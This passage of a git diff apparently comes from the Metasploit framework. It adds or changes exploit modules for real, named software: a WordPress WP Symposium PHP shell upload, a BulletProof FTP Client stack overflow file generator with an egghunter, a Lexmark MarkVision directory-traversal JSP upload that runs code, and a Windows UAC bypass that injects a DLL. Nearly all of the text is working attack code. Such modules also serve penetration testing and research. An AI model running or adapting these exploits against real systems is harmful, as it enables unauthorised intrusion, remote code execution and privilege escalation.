fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
if res and res.code == 200
|
||||||
|
print_good("#{peer} - File uploaded successfully")
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
# retrieve and execute PHP payload
|
||||||
|
print_status("#{peer} - Executing payload (images/#{@fname})")
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(base, 'images', "#{@fname}")
|
||||||
|
}, 1)
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -234,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'method' => datastore['HTTP_METHOD'],
|
'method' => datastore['HTTP_METHOD'],
|
||||||
}, 25)
|
}, 25)
|
||||||
if res && !res.get_cookies.empty?
|
if res && !res.get_cookies.empty?
|
||||||
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
|
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
|
||||||
end
|
end
|
||||||
|
|
||||||
if match
|
if match
|
||||||
|
|
|
@ -122,7 +122,7 @@ EOS
|
||||||
end
|
end
|
||||||
|
|
||||||
print_error("Encountered unexpected #{res.code} response:")
|
print_error("Encountered unexpected #{res.code} response:")
|
||||||
print_error(res.inspect)
|
print_error(res.to_s)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,99 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://www.metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'WordPress WP Symposium 14.11 Shell Upload',
|
||||||
|
'Description' => %q{WP Symposium Plugin for WordPress contains a
|
||||||
|
flaw that allows a remote attacker to execute
|
||||||
|
arbitrary PHP code. This flaw exists because the
|
||||||
|
/wp-symposium/server/file_upload_form.php script
|
||||||
|
does not properly verify or sanitize
|
||||||
|
user-uploaded files. By uploading a .php file,
|
||||||
|
the remote system will place the file in a
|
||||||
|
user-accessible path. Making a direct request to
|
||||||
|
the uploaded file will allow the attacker to
|
||||||
|
execute the script with the privileges of the
|
||||||
|
web server.},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Claudio Viviani', # Vulnerability disclosure
|
||||||
|
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['OSVDB', '116046'],
|
||||||
|
['WPVDB', '7716']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Dec 11 2014',
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [['wp-symposium < 14.12', {}]],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
check_plugin_version_from_readme('wp-symposium', '14.12')
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_mime_message(payload, payload_name, directory_name, symposium_url)
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part('1', nil, nil, 'form-data; name="uploader_uid"')
|
||||||
|
data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"')
|
||||||
|
data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"')
|
||||||
|
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"")
|
||||||
|
data
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("#{peer} - Preparing payload")
|
||||||
|
unique_name = Rex::Text.rand_text_alpha(10)
|
||||||
|
payload_name = "#{unique_name}.php"
|
||||||
|
symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php')
|
||||||
|
payload_url = normalize_uri(symposium_url, unique_name, payload_name)
|
||||||
|
data = generate_mime_message(payload, payload_name, unique_name, symposium_url)
|
||||||
|
symposium_url = normalize_uri(symposium_url, 'index.php')
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading payload to #{payload_url}")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => symposium_url,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'data' => data.to_s
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
|
||||||
|
print_good("#{peer} - Uploaded the payload")
|
||||||
|
register_files_for_cleanup(payload_name)
|
||||||
|
|
||||||
|
print_status("#{peer} - Executing the payload...")
|
||||||
|
send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => payload_url,
|
||||||
|
'method' => 'GET'
|
||||||
|
}, 5)
|
||||||
|
print_good("#{peer} - Executed payload")
|
||||||
|
else
|
||||||
|
if res.nil?
|
||||||
|
fail_with(Failure::Unreachable, "No response from the target")
|
||||||
|
else
|
||||||
|
vprint_error("#{peer} - HTTP Status: #{res.code}")
|
||||||
|
vprint_error("#{peer} - Server returned: #{res.body}")
|
||||||
|
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
# Create the pdf
|
# Create the pdf
|
||||||
#pdf = make_pdf(script)
|
#pdf = make_pdf(script)
|
||||||
pdf = CreatePDF(script)
|
pdf = create_pdf(script)
|
||||||
print_status("Creating '#{datastore['FILENAME']}' file...")
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
||||||
|
|
||||||
file_create(pdf)
|
file_create(pdf)
|
||||||
|
|
|
@ -0,0 +1,91 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
include Msf::Exploit::Remote::Seh
|
||||||
|
include Msf::Exploit::Remote::Egghunter
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'BulletProof FTP Client BPS Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack-based buffer overflow vulnerability in
|
||||||
|
BulletProof FTP Client 2010, caused by an overly long hostname.
|
||||||
|
By persuading the victim to open a specially-crafted .BPS file, a
|
||||||
|
remote attacker could execute arbitrary code on the system or cause
|
||||||
|
the application to crash. This module has been tested successfully on
|
||||||
|
Windows XP SP3.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Gabor Seljan'
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '34162' ],
|
||||||
|
[ 'EDB', '34540' ],
|
||||||
|
[ 'EDB', '35449' ],
|
||||||
|
[ 'OSVDB', '109547' ],
|
||||||
|
[ 'CVE', '2014-2973' ],
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'ExitFunction' => 'process'
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00\x0a\x0d\x1a",
|
||||||
|
'Space' => 2000
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows XP SP3',
|
||||||
|
{
|
||||||
|
'Offset' => 89,
|
||||||
|
'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Jul 24 2014',
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
|
||||||
|
],
|
||||||
|
self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
eggoptions = {
|
||||||
|
:checksum => true,
|
||||||
|
:eggtag => 'w00t'
|
||||||
|
}
|
||||||
|
|
||||||
|
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
|
||||||
|
|
||||||
|
sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
|
||||||
|
sploit << rand_text_alpha(target['Offset'])
|
||||||
|
sploit << generate_seh_record(target.ret)
|
||||||
|
sploit << hunter + "\r\n" # FTP Server HOST / IP
|
||||||
|
sploit << rand_text_numeric(5) + "\r\n" # Port number
|
||||||
|
sploit << egg + "\r\n" # Login name
|
||||||
|
sploit << rand_text_alpha(8) + "\r\n" # Login password
|
||||||
|
|
||||||
|
# Create the file
|
||||||
|
print_status("Creating '#{datastore['FILENAME']}' file...")
|
||||||
|
file_create(sploit)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -116,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
if (res)
|
if (res)
|
||||||
print_error("The server unexpectedly responded, this is not good.")
|
print_error("The server unexpectedly responded, this is not good.")
|
||||||
print_status(res.inspect)
|
print_status(res.to_s)
|
||||||
end
|
end
|
||||||
|
|
||||||
handler
|
handler
|
||||||
|
|
|
@ -237,7 +237,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_error("Eek! We weren't expecting a response, but we got one")
|
print_error("Eek! We weren't expecting a response, but we got one")
|
||||||
if datastore['DEBUG']
|
if datastore['DEBUG']
|
||||||
print_line()
|
print_line()
|
||||||
print_error(res.inspect)
|
print_error(res.to_s)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
if res and res.code != 502
|
if res and res.code != 502
|
||||||
print_error("Eek! We weren't expecting a response, but we got one")
|
print_error("Eek! We weren't expecting a response, but we got one")
|
||||||
print_status(res.inspect) if datastore['NNM_DEBUG']
|
print_status(res.to_s) if datastore['NNM_DEBUG']
|
||||||
end
|
end
|
||||||
|
|
||||||
handler
|
handler
|
||||||
|
|
|
@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
if res and res.code != 502
|
if res and res.code != 502
|
||||||
print_error("Eek! We weren't expecting a response, but we got one")
|
print_error("Eek! We weren't expecting a response, but we got one")
|
||||||
print_status(res.inspect) if datastore['NNM_DEBUG']
|
print_status(res.to_s) if datastore['NNM_DEBUG']
|
||||||
end
|
end
|
||||||
|
|
||||||
handler
|
handler
|
||||||
|
|
|
@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_error("Eek! We weren't expecting a response, but we got one")
|
print_error("Eek! We weren't expecting a response, but we got one")
|
||||||
if datastore['DEBUG']
|
if datastore['DEBUG']
|
||||||
print_error('')
|
print_error('')
|
||||||
print_error(res.inspect)
|
print_error(res.to_s)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_error("Eek! We weren't expecting a response, but we got one")
|
print_error("Eek! We weren't expecting a response, but we got one")
|
||||||
if datastore['DEBUG']
|
if datastore['DEBUG']
|
||||||
print_error('')
|
print_error('')
|
||||||
print_error(res.inspect)
|
print_error(res.to_s)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,155 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Lexmark MarkVision Enterprise Arbitrary File Upload',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1.
|
||||||
|
A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated
|
||||||
|
attacker to upload arbitrary files, including arbitrary JSP code. This module has been
|
||||||
|
tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Andrea Micalizzi', # Vulnerability Discovery
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2014-8741'],
|
||||||
|
['ZDI', '14-410'],
|
||||||
|
['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US']
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Lexmark Markvision Enterprise 2.0', { } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Dec 09 2014'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(9788),
|
||||||
|
OptString.new('TARGETURI', [true, 'ROOT path', '/'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html')
|
||||||
|
})
|
||||||
|
|
||||||
|
version = nil
|
||||||
|
if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/
|
||||||
|
version = $1
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if Gem::Version.new(version) <= Gem::Version.new('2.0.0')
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
jsp_leak = jsp_path
|
||||||
|
jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
|
||||||
|
# By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
|
||||||
|
# Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
|
||||||
|
traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf"
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...")
|
||||||
|
if upload_file(traversal_leak, jsp_leak)
|
||||||
|
print_good("#{peer} - JSP successfully uploaded")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
res = execute(jsp_name_leak)
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/
|
||||||
|
upload_path = $1
|
||||||
|
print_good("#{peer} - Working directory found in #{upload_path}")
|
||||||
|
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak))
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")
|
||||||
|
end
|
||||||
|
|
||||||
|
jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
|
||||||
|
jsp_payload = payload.encoded
|
||||||
|
traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf"
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...")
|
||||||
|
if upload_file(traversal_payload, jsp_payload)
|
||||||
|
print_good("#{peer} - JSP successfully uploaded")
|
||||||
|
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Executing payload...")
|
||||||
|
execute(jsp_payload_name, 3)
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_file(filename, contents)
|
||||||
|
good_signature = rand_text_alpha(4 + rand(4))
|
||||||
|
bad_signature = rand_text_alpha(4 + rand(4))
|
||||||
|
|
||||||
|
post_data = Rex::MIME::Message.new
|
||||||
|
post_data.add_part(good_signature, nil, nil, 'form-data; name="success"')
|
||||||
|
post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"')
|
||||||
|
post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"")
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'data' => post_data.to_s,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature)
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute(jsp_name, time_out = 20)
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, jsp_name),
|
||||||
|
'method' => 'GET'
|
||||||
|
}, time_out)
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def jsp_path
|
||||||
|
jsp =<<-EOS
|
||||||
|
<%@ page language="Java" import="java.util.*"%>
|
||||||
|
<%
|
||||||
|
out.println("Path:" + System.getProperty("catalina.home"));
|
||||||
|
%>
|
||||||
|
EOS
|
||||||
|
|
||||||
|
jsp
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -10,9 +10,11 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Exploit::EXE
|
include Exploit::EXE
|
||||||
|
include Exploit::FileDropper
|
||||||
include Post::File
|
include Post::File
|
||||||
include Post::Windows::Priv
|
include Post::Windows::Priv
|
||||||
include Post::Windows::ReflectiveDLLInjection
|
include Post::Windows::ReflectiveDLLInjection
|
||||||
|
include Post::Windows::Runas
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
|
@ -32,7 +34,9 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
|
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
|
||||||
'mitnick',
|
'mitnick',
|
||||||
'mubix', # Port to local exploit
|
'mubix', # Port to local exploit
|
||||||
'Ben Campbell' # In memory technique
|
'Ben Campbell', # In memory technique
|
||||||
|
'Lesage', # Win8+ updates
|
||||||
|
'OJ Reeves' # Win 8+ updates
|
||||||
],
|
],
|
||||||
'Platform' => [ 'win' ],
|
'Platform' => [ 'win' ],
|
||||||
'SessionTypes' => [ 'meterpreter' ],
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
|
@ -47,43 +51,78 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
|
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
|
||||||
]
|
]
|
||||||
],
|
],
|
||||||
'DisclosureDate'=> "Dec 31 2010"
|
'DisclosureDate'=> 'Dec 31 2010'
|
||||||
))
|
))
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def bypass_dll_path
|
def exploit
|
||||||
# path to the bypassuac binary
|
# Validate that we can actually do things before we bother
|
||||||
path = ::File.join(Msf::Config.data_directory, "post")
|
# doing any more work
|
||||||
|
validate_environment!
|
||||||
|
check_permissions!
|
||||||
|
|
||||||
# decide, x86 or x64
|
# get all required environment variables in one shot instead. This
|
||||||
sysarch = sysinfo["Architecture"]
|
# is a better approach because we don't constantly make calls through
|
||||||
if sysarch =~ /x64/i
|
# the session to get the variables.
|
||||||
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
|
env_vars = get_envs('TEMP', 'WINDIR')
|
||||||
fail_with(
|
|
||||||
Exploit::Failure::BadConfig,
|
case get_uac_level
|
||||||
"x86 Target Selected for x64 System"
|
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||||
|
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||||
|
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||||
|
fail_with(Exploit::Failure::NotVulnerable,
|
||||||
|
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
||||||
)
|
)
|
||||||
end
|
when UAC_DEFAULT
|
||||||
|
print_good('UAC is set to Default')
|
||||||
if sysarch =~ /WOW64/i
|
print_good('BypassUAC can bypass this setting, continuing...')
|
||||||
return ::File.join(path, "bypassuac-x86.dll")
|
when UAC_NO_PROMPT
|
||||||
else
|
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||||
return ::File.join(path, "bypassuac-x64.dll")
|
shell_execute_exe
|
||||||
end
|
return
|
||||||
else
|
|
||||||
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
|
|
||||||
fail_with(
|
|
||||||
Exploit::Failure::BadConfig,
|
|
||||||
"x64 Target Selected for x86 System"
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
::File.join(path, "bypassuac-x86.dll")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
dll_path = bypass_dll_path
|
||||||
|
payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"
|
||||||
|
|
||||||
|
upload_payload_dll(payload_filepath)
|
||||||
|
|
||||||
|
pid = spawn_inject_proc(env_vars['WINDIR'])
|
||||||
|
|
||||||
|
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
|
||||||
|
run_injection(pid, dll_path, file_paths)
|
||||||
|
|
||||||
|
# Windows 7 this is cleared up by DLL but on Windows
|
||||||
|
# 8.1 it fails to delete the the file.
|
||||||
|
register_file_for_cleanup(file_paths[:szElevDllFull])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def bypass_dll_path
|
||||||
|
# path to the bypassuac binary
|
||||||
|
path = ::File.join(Msf::Config.data_directory, 'post')
|
||||||
|
|
||||||
|
# decide, x86 or x64
|
||||||
|
sysarch = sysinfo['Architecture']
|
||||||
|
if sysarch =~ /x64/i
|
||||||
|
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
|
||||||
|
fail_with(
|
||||||
|
Exploit::Failure::BadConfig,
|
||||||
|
'x86 Target Selected for x64 System'
|
||||||
|
)
|
||||||
|
end
|
||||||
|
return ::File.join(path, 'bypassuac-x64.dll')
|
||||||
|
else
|
||||||
|
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
|
||||||
|
fail_with(
|
||||||
|
Exploit::Failure::BadConfig,
|
||||||
|
'x64 Target Selected for x86 System'
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
return ::File.join(path, 'bypassuac-x86.dll')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def check_permissions!
|
def check_permissions!
|
||||||
# Check if you are an admin
|
# Check if you are an admin
|
||||||
|
@ -97,139 +136,135 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
if admin_group
|
if admin_group
|
||||||
print_good('Part of Administrators group! Continuing...')
|
print_good('Part of Administrators group! Continuing...')
|
||||||
else
|
else
|
||||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||||
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
|
fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def run_injection(pid, dll_path, file_paths)
|
||||||
|
|
||||||
def exploit
|
|
||||||
validate_environment!
|
|
||||||
|
|
||||||
case get_uac_level
|
|
||||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
|
||||||
fail_with(Exploit::Failure::NotVulnerable,
|
|
||||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
|
||||||
)
|
|
||||||
when UAC_DEFAULT
|
|
||||||
print_good "UAC is set to Default"
|
|
||||||
print_good "BypassUAC can bypass this setting, continuing..."
|
|
||||||
when UAC_NO_PROMPT
|
|
||||||
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
|
|
||||||
runas_method
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
check_permissions!
|
|
||||||
|
|
||||||
@temp_path = expand_path('%TEMP%').strip
|
|
||||||
|
|
||||||
upload_payload_dll!
|
|
||||||
|
|
||||||
pid = spawn_inject_proc
|
|
||||||
|
|
||||||
run_injection(pid, bypass_dll_path)
|
|
||||||
|
|
||||||
# delete the uac bypass payload
|
|
||||||
vprint_status("Cleaning up payload file...")
|
|
||||||
file_rm(payload_filepath)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def payload_filepath
|
|
||||||
"#{@temp_path}\\CRYPTBASE.dll"
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def runas_method
|
|
||||||
payload = generate_payload_exe
|
|
||||||
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
||||||
tmpdir = expand_path("%TEMP%")
|
|
||||||
tempexe = tmpdir + "\\" + payload_filename
|
|
||||||
write_file(tempexe, payload)
|
|
||||||
print_status("Uploading payload: #{tempexe}")
|
|
||||||
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
|
|
||||||
print_status("Payload executed")
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def run_injection(pid, dll_path)
|
|
||||||
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
|
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
|
||||||
begin
|
begin
|
||||||
|
path_struct = create_struct(file_paths)
|
||||||
|
|
||||||
vprint_status("Opening process #{pid}")
|
vprint_status("Opening process #{pid}")
|
||||||
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
|
||||||
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
|
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
|
||||||
vprint_status("Executing payload")
|
|
||||||
thread = host_process.thread.create(exploit_mem + offset, 0)
|
vprint_status("Injecting struct into #{pid}")
|
||||||
|
struct_addr = host_process.memory.allocate(path_struct.length)
|
||||||
|
host_process.memory.write(struct_addr, path_struct)
|
||||||
|
|
||||||
|
vprint_status('Executing payload')
|
||||||
|
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
|
||||||
print_good("Successfully injected payload in to process: #{pid}")
|
print_good("Successfully injected payload in to process: #{pid}")
|
||||||
client.railgun.kernel32.WaitForSingleObject(thread.handle,14000)
|
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
print_error("Failed to Inject Payload to #{pid}!")
|
print_error("Failed to Inject Payload to #{pid}!")
|
||||||
vprint_error(e.to_s)
|
